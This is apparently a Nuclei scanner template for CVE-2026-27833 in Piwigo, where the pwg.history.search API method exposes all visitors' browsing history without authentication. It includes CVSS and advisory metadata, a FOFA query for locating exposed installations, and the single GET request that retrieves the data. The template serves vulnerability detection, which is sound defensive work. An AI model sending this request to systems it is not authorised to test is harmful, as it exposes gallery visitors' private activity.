Piwigo < 16.3.0 - Unauthenticated Information Disclosure via History API

id: CVE-2026-27833

info:
  name: Piwigo < 16.3.0 - Unauthenticated Information Disclosure via History API
  author: 0x_Akoko
  severity: high
  description: |
   Piwigo <= 16.3.0 contains an information disclosure vulnerability caused by the pwg.history.search API method lacking admin_only restriction, letting unauthenticated users access full browsing history, exploit requires no authentication
  impact: |
   Unauthenticated attackers can access full browsing history of all gallery visitors, exposing sensitive user activity data.
  remediation: |
    Update to version 16.3.0 or later.
  reference:
    - https://github.com/Piwigo/Piwigo/security/advisories/GHSA-397m-gfhm-pmg2
    - https://nvd.nist.gov/vuln/detail/CVE-2026-27833
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-27833
    epss-score: 0.01522
    epss-percentile: 0.71577
    cwe-id: CWE-862
  metadata:
    verified: false
    max-request: 1
    vendor: piwigo
    product: piwigo
    fofa-query: icon_hash=="540706145"
  tags: cve,cve2026,piwigo,exposure,unauth

http:
  - raw:
      - |
        GET /ws.php?method=pwg.history.search&format=json HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "\"stat\":\"ok\"", "\"result\"", "\"lines\"")'
          - 'contains_any(body, "\"USERNAME\"", "\"NB_LINES\"", "\"GUESTS\"")'
        condition: and
# digest: 4a0a004730450220710cd0fd31e44d60a37969985ad6afd4c4584807bfdd25a3e0f7c16de2cc4743022100f53802ac39a7d6de6ee4369d4fa17b04edad86ad1561f160468ba2749069ef41:922c64590222798bb761d5b6d8e72950